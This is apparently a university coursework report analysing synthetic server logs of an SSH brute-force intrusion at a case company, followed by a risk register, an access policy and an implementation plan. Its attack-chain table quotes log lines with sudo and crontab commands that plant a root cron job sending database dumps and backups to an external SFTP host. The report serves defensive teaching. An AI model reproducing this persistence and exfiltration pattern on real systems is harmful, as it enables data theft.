Evidence-Based Security Policy Group Assessment

From Log Evidence to Security Policy

Course: COMPSCI5077 Enterprise Cyber Security
Case organisation: Solstice Continental (host db01)
Group: Group AD (log set: group 30)
Submission: 18 November 2026

Student name	Matriculation number
Zhe Li	3184570l
Haoyu Sun	3212007s
Yuhao Wang	3246689w
Ming Zhang	3182482z

Part 1: Analysis

Method and rules. We ran analysis.py on our auth.log (12,757 lines) and daemon.log (7,964 lines) from db01, covering 2 February to 2 May 2026 (UTC; log set "group 30"); all counts here come from its output files. Addresses starting with 10.50. are internal. Four 198.51.100.x addresses are external but belong to named users who log in during working hours, so an external address alone is no sign of attack. Internal addresses fail 5 to 17 times each over 90 days, which we treat as normal mistyping, though the logs cannot show the cause. Activity is *suspicious* if it includes an Invalid user, failures on three or more accounts (or ten on one) from one address within an hour, or a login from a new address or at a new hour. It is *serious* if a login succeeds after suspicious failures, a non-administrator makes a root-level change, or customer data leaves 10.50..

Table A. Source summary (script output: failed and accepted password logins, sorted by failures, read down)

Source	Where	Fail	Acc.	Source	Where	Fail	Acc.	Source	Where	Fail	Acc.
203.0.113.92	**ext.**	**225**	**1**	10.50.1.16	int.	11	197	10.50.1.10	int.	5	168
10.50.1.20	int.	17	180	10.50.1.21	int.	11	196	198.51.100.54	ext.	2	33
10.50.1.12	int.	13	174	10.50.1.17	int.	10	177	198.51.100.125	ext.	1	28
10.50.1.14	int.	13	196	10.50.1.19	int.	10	181	198.51.100.212	ext.	0	18
10.50.1.15	int.	13	163	10.50.1.18	int.	9	168	198.51.100.68	ext.	0	26
10.50.1.11	int.	11	187	10.50.1.13	int.	8	160				

What happened. One external address, 203.0.113.92, made 225 of the 359 failed logins. On 9 March it tried 8 usernames that do not exist (24 attempts), and the next evening 7 real accounts in three rounds 30 minutes apart (21 attempts). On 12 March it made 180 guesses at the contractor account hvac-remote-30 in about 21 minutes and then logged in. That account otherwise connects only from 198.51.100.68, between 09:00 and 15:59 (26 logins), and had never used sudo. Within eight minutes the attacker used sudo to install a program and replace root's crontab. From 13 March the job ran every night, 51 times in all, dumping the orders database, reading that night's backup and sending both to the attacker. All 51 transfers report success, 50,136,893,440 bytes of repeated copies. The contractor logged in from the usual address 15 more times afterwards, so no password reset is visible. The logs directly show enumeration, brute force, privilege escalation through sudo, persistence through cron and exfiltration (Table 2). The 10 March pattern fits password spraying, but passwords are not logged, so we cannot confirm it. For the same reason, credential stuffing can be neither confirmed nor ruled out.

Table 1. Incident facts (2026, UTC)

Fact	Value / time	Proving line (excerpt)
Attacker source; first success	203.0.113.92; 03-12 00:47:37	auth.log:5691 Accepted password for hvac-remote-30 from 203.0.113.92
Compromised account	hvac-remote-30	auth.log:5692 session opened for user hvac-remote-30(uid=1100)
First access attempt	03-09 01:26:22	auth.log:4657 Invalid user webmaster from 203.0.113.92 port 47399
Privilege escalation	03-12 00:52:37	auth.log:5693 USER=root ; COMMAND=/usr/bin/id
Persistence	03-12 00:55:22	auth.log:5699 COMMAND=/usr/bin/crontab -u root /var/tmp/.schedule-30
Action on customer data	03-13 03:48:32 to 05-02 03:48:52	daemon.log:3292 database dump completed job=sync-30-20260313 database=orders; last at line 7896

Table 2. Attack chain across both logs (… marks omitted text; full lines in Appendices B and C)

#	UTC	Quoted log line	Technique: what it shows
1	03-09 01:26:22	auth.log:4657 Mar 9 01:26:22 db01 sshd[8958]: Invalid user webmaster from 203.0.113.92 port 47399	**Enumeration:** 8 names × 3, to line 4726; all rejected (a working control).
2	03-10 21:27:59	auth.log:5111 Mar 10 21:27:59 db01 sshd[9505]: Failed password for hvac-remote-30 from 203.0.113.92 port 58585 ssh2	**Consistent with spraying** (T1110.003): 7 real accounts × 3, lines 5099-5141.
3	03-12 00:26:23	auth.log:5331 Mar 12 00:26:23 db01 sshd[9788]: Failed password for hvac-remote-30 from 203.0.113.92 port 40379 ssh2	**Brute force** (T1110.001): 180 failures, not blocked.
4	03-12 00:47:37	auth.log:5691 Mar 12 00:47:37 db01 sshd[10137]: Accepted password for hvac-remote-30 from 203.0.113.92 port 37122 ssh2	**Valid account** (T1078): new source, new hour.
5	03-12 00:53:52	auth.log:5696 Mar 12 00:53:52 db01 sudo: hvac-remote-30 : … USER=root ; COMMAND=/usr/bin/install -o root -g root -m 0750 /var/tmp/.maint-30 /usr/local/sbin/orders-sync-30	**Privilege escalation** (T1548.003): a hidden file becomes a root program.
6	03-12 00:55:23	daemon.log:3198 Mar 12 00:55:23 db01 crontab[10145]: (root) REPLACE (root)	**Persistence** (T1053.003): confirms auth.log:5699.
7	03-13 03:39:00	daemon.log:3289 Mar 13 03:39:00 db01 CRON[10388]: (root) CMD (/usr/local/sbin/orders-sync-30 --database orders --include-backups --work /var/tmp/.orders-30 --destination sftp://203.0.113.92/drop/30)	Root cron launches the program against orders and its backups.
8	03-13 03:48:32	daemon.log:3292 Mar 13 03:48:32 db01 orders-sync[10389]: database dump completed job=sync-30-20260313 database=orders file=/var/tmp/.orders-30/orders-20260313.dump bytes=486155249 status=0	**Collection:** the live orders database is dumped.
9	03-13 03:48:37	daemon.log:3293 Mar 13 03:48:37 db01 orders-sync[10389]: backup read completed job=sync-30-20260313 file=/var/backups/orders/orders-2026-03-13.dump bytes=485598893 status=0	That night's backup is read too.
10	03-13 03:48:42	daemon.log:3294 Mar 13 03:48:42 db01 orders-sync[10389]: archive completed job=sync-30-20260313 file=/var/tmp/.orders-30/orders-20260313.tar files=2 bytes=971765760 status=0	Both are packed into one archive for sending.
11	03-13 03:51:25	daemon.log:3295 Mar 13 03:51:25 db01 orders-sync[10389]: transfer completed job=sync-30-20260313 … destination=sftp://203.0.113.92/drop/30 bytes=971765760 status=0	**Exfiltration** (T1048): first transfer.
12	05-02 03:48:52	daemon.log:7896 May 2 03:48:52 db01 orders-sync[21374]: transfer completed job=sync-30-20260502 … destination=sftp://203.0.113.92/drop/30 bytes=992071680 status=0	51st transfer; activity continues to the last day captured.

Alternative explanations and limits. We rejected the idea that the contractor was simply working late: the address and hour were new, the login followed 183 failed guesses from that address, the account had never used sudo, and the data went to that address, while the genuine reporting job sends to internal 10.50.1.5 (65 transfers). Some controls worked: unknown usernames were rejected, six sprayed staff accounts held and all 90 backups completed. The logs record commands and the job's own success messages, not the program's code, the crontab's content or whether the data arrived. They do not show how the attacker learned valid usernames or why the job skipped 12 March, and they cover one server for 90 days.

Part 2: Risk Assessment

Table 3. Assets at risk and what their loss means

Asset	Key	Loss for Solstice Continental
A1 Customer data	**C**, I, A	ICO notice within 72 h of awareness [4]; orders stop
A2 Nightly backups	**C**, **A**	Full copy of A1; losing them removes recovery
A3 db01 server	**I**, A	Root reads, alters or deletes A1/A2
A4 Remote accounts	**C**, I	A guessed password became a foothold
A5 Root cron, programs	**I**	Altered to repeat extraction nightly

How we rate. We adapt the 5×5 method of NIST SP 800-30 [6] to Solstice's customer database and backups, rating every risk as if this intrusion had been contained and no new control added. *Likelihood* is the chance of the weakness being exploited again within 12 months, in NIST's percentage bands (Table G-2); we place each risk by how many earlier attack stages it needs (Table 4a). External sources can support a level but never raise it. Where evidence is missing, we keep the level and record lower confidence. *Impact* is the direct harm to the assets in Table 3, counted in records, days and regulatory cost (Table 4b); a weakness that only enables or prolongs harm through another risk is capped at 4. The score (likelihood times impact) only ranks risks, since a matrix can rate very different risks alike [1]. The top three are sensitive: lowering any of them by one level, or raising R7, R4 or R5 by one, changes the order, and R7 (16) is the nearest contender.

Table 4a. Likelihood scale (chance of exploitation within 12 months)

Level	Chance	How we judge it from the evidence
1 Rare	0-4%	Path closed by two or more working controls
2 Unlikely	5-20%	Path closed by one working control
3 Possible	21-79%	Open, but needs two or more earlier stages
4 Likely	80-95%	Open and used here; needs one open earlier stage
5 Almost certain	96-100%	Open and used here; needs no earlier stage

Table 4b. Impact scale (worst credible case for A1 to A5)

Level	Records exposed	Downtime	Regulatory and cost
1 Negligible	None	< 1 hour	None
2 Minor	< 1%, contact details only	1 h to 1 day	Internal record only
3 Moderate	1-99%, partial export	1-3 days	ICO notification likely [4]
4 Major	100%, one full copy	4-7 days	ICO and customers told; $4.44m [7]
5 Severe	100% repeatedly or all copies	> 7 days	£20m-scale fine [3]; lost trust

Table 5. Risk register, ranked by score. *Basis*: whether a rating rests on our logs, external sources, or both. Ties are ranked by how much of the attack depended on the risk.

Rank	Weakness → consequence; *log evidence*	L	I	S	Basis and justification
1. R1	Internet SSH accepted a password after 180 failures, giving a shell on db01. *Log:* 180 failures, then Accepted password (auth.log:5331-5691)	5	4	20	**Both.** No earlier stage is needed. Internet SSH is probed constantly [5]; lockout and throttling defeat online guessing [2, 9], and PCI DSS requires MFA for remote card-data access [10]. Impact 4: harm comes through R2.
2. R2	The HVAC supplier account can sudo to root, giving control of A1 to A5. *Log:* 3 root commands (auth.log:5693-5699)	4	5	20	**Both.** Needs a foothold, which R1 provides. Third-party involvement in breaches doubled to 30% [11]; Target was breached via its HVAC supplier [8]. Impact 5: root reaches every asset.
3. R6	No detection or response, so attacks run longer and ICO notice is late. *Log:* 180 failures, new-source login, first sudo, 51 transfers; no containment logged	5	4	20	**Both.** Every attack passes through it. Medium confidence, as monitoring records are outside our logs. Faster containment lowers cost [7]. Impact 4: it prolongs other risks.
4. R7	Supplier logins are not limited by address or hours, so stolen credentials reach customer data off-hours. *Log:* Normal logins only from 198.51.100.68, 09-15 h; attacker 00:47	4	4	16	**Both.** Needs a credential (R1). A separate control: address and hour limits block even a correct password. Target's attackers also used a supplier's valid login [8]. Impact 4.
5. R4	Transfers to unapproved hosts are not blocked, so the database leaves db01. *Log:* 51 transfers, all status=0 (daemon.log:3295-7896)	3	5	15	**Both.** Needs a foothold and root; then the path worked 51 times. Impact 5: both copies repeatedly exposed [3, 4].
6. R5	Live data and backups share one root path, so both are exposed together. *Log:* backup read completed in all 51 jobs	3	5	15	**Log.** Needs a foothold and root first. Impact 5: live and backup copies are lost together.
7. R3	Root changes had no approval or alert, hiding the persistence. *Log:* auth.log:5696; daemon.log:3198	3	4	12	**Log.** Needs a foothold and root first. Impact 4: the harm comes through R4.

Table 6. Risk matrix (rows: impact; columns: likelihood; score 15+ High, 8-12 Medium, up to 6 Low)

	1 Rare	2 Unlikely	3 Possible	4 Likely	5 Almost certain
5 Severe			**R4, R5**	**R2**	
4 Major			**R3**	**R7**	**R1, R6**
3 Moderate					
2 Minor					
1 Negligible					

Selection. R1, R2 and R6 (20 each) go to Parts 3 and 4: they explain how the attacker got in, gained root and ran 51 nights unnoticed. R4 and R5 have the worst impact, but each needs

two earlier stages that the chosen controls block. P6 also alerts on unusual transfers, P1 reduces R7 and P7 reduces R3. The ranking is least certain for R6, which Solstice's monitoring records would settle. R2 to R5 assume sudo is the route to root; the sudoers file would confirm it.

Part 3: Security Policy

SOLSTICE CONTINENTAL: Customer-Data Server Access and Monitoring Policy (ISP-07, version 1.0)
Owner: Head of Information Security · Executive sign-off: Chief Information Officer · Review: annually and after any major incident

1. Purpose. Customer data in the orders database and its backups must stay confidential, accurate and available. This policy sets what Solstice requires of everyone who can reach the servers that hold it.

2. Scope. All employees, contractors, third-party suppliers and service accounts; every server that stores, processes or backs up customer data; and every remote route to those servers.

3. Policy directives

- **P1 [R1].** Remote access to customer-data servers must be authorised and protected. It must use the company's approved remote-access service with strong authentication; access from the internet by password alone is not permitted.
- **P2 [R1].** Repeated failed logins must be limited and reported. Remote-access credentials must belong to one person and must be changed as soon as compromise is known or suspected.
- **P3 [R2].** Suppliers must not hold standing administrative rights on customer-data servers. Elevated rights will be granted only for an approved task, for a limited time, and removed when the task ends.
- **P4 [R2].** Every supplier account must belong to one named person, have a Solstice sponsor, reach only the systems in the supplier's contract, be reviewed regularly and be disabled when the contract ends.
- **P5 [R6].** Security-relevant activity on customer-data servers must be logged to a record that server administrators cannot alter, and kept long enough to investigate a breach.
- **P6 [R6].** Security Operations must detect and respond to password guessing, unusual supplier logins, new privileged activity and customer data sent to unapproved destinations, within the times set in the Logging and Monitoring Standard.
- **P7 [R2, R6].** Software installation and changes to scheduled tasks on customer-data servers must be approved in advance, and unapproved changes must be reported.

4. Roles and responsibilities. The Head of Information Security owns this policy and reports compliance to the CIO. System owners apply it to their servers, Security Operations runs monitoring and response, and each supplier sponsor answers for their supplier's accounts. Every user must follow it and report suspected misuse.

5. Related documents. Remote Access Standard; Privileged Access Standard; Logging and Monitoring Standard; Change Management Procedure; Incident Response Plan.

6. Exceptions and compliance. Exceptions need written approval from the Head of Information Security and the Data Owner, stating the reason, compensating controls, a named risk owner and an expiry within 90 days. Staff breaches follow the disciplinary procedure; supplier breaches follow the contract, including suspension of access.

Part 4: Implementation and Evaluation

Treatment. We reduce all three risks. Avoiding them would end the supplier remote access Solstice relies on. Insurance could transfer cost, but it would not prevent a breach or remove

the ICO duty, and scores of 20 are too high to accept.

Sequence and ownership. The Head of Information Security owns delivery, reporting to the CIO fortnightly. The job was still sending data when the logs end, so containment comes first: in days 0 to 2, Security Operations and the DBA preserve and then remove the orders-sync-30 cron entry and program, block 203.0.113.92, disable hvac-remote-30, reset the seven sprayed passwords and image db01. The DPO starts the ICO assessment, due within 72 hours of awareness [4]. Three workstreams follow (Table 7), each piloted before enforcement so that backups and the report job to 10.50.1.5 keep working.

Standards behind the policy. The Remote Access Standard requires MFA, closes SSH from the internet, locks a source after 10 failed logins in 15 minutes (NCSC advises 5 to 10 [9]), alerts on failures against three accounts, or ten on one, within an hour, and sets a 15-character minimum password. The Privileged Access Standard limits supplier grants to 8 hours with a ticket and sponsor, reviews supplier accounts quarterly and disables them within one business day of contract end. The Logging and Monitoring Standard keeps logs for 12 months, requires triage within one hour and containment within 24 hours, and tests the response plan twice a year.

Table 7. Implementation plan

Risk	Weeks 1-2	Weeks 3-6	Weeks 7-8	Owner
R1 P1-P2	Inventory; lockout, alerts	MFA gateway; enrol users	Close internet SSH	IT Infrastructure; SecOps
R2 P3-P4, P7	Remove supplier sudo	Just-in-time elevation	Quarterly review; contracts	IAM Lead; Procurement
R6 P5-P7	Central, write-once log store	Alert rules; on-call rota	Replay the attack chain; test the plan	SecOps Manager

Table 8. Evaluation metrics (counts or percentages, collected automatically)

Metric	Measure and source	Frequency	Success	Question
M1 MFA coverage (R1)	% of interactive remote logins with an MFA success (gateway log vs auth.log)	Daily	100% from week 8	Is remote access protected?
M2 Guessing blocked (R1)	% of test bursts of 20 failures blocked by the 10th; count of servers with SSH open to the internet	Monthly	100%; 0 servers	Would 12 March be stopped?
M3 Standing supplier root (R2)	Count of supplier root or sudo rights without an approved grant (sudoers vs grant log; cf. auth.log:5693)	Weekly	0 from week 2	Does a supplier hold root?
M4 Elevation control (R2)	% of grants with a ticket, a sponsor and expiry ≤ 8 hours	Monthly	100%	Is each grant controlled?
M5 Log integrity (R6)	% of servers whose logs arrive each day; count of admin accounts able to delete central logs	Daily; quarterly	100%; 0 accounts	Are logs complete and safe?
M6 Detection time (R6)	% of replayed attack stages alerted; median minutes from alert to triage	Quarterly	100%; ≤ 60 minutes	Is the attack seen in time?

Limits and residual risk. The metrics would miss phished MFA approvals, misuse inside an approved grant and attacks that look normal, which quarterly threat hunting partly covers. Once each control passes its week 8 test, one working control closes its path (L2; impact unchanged). What remains is stolen MFA sessions for R1 (target score 8), staff administrator accounts for R2 (10) and alert fatigue for R6 (8). R4 still needs its own egress control, and the 51 copies already sent cannot be recalled. All seven risks are re-rated at day 90.
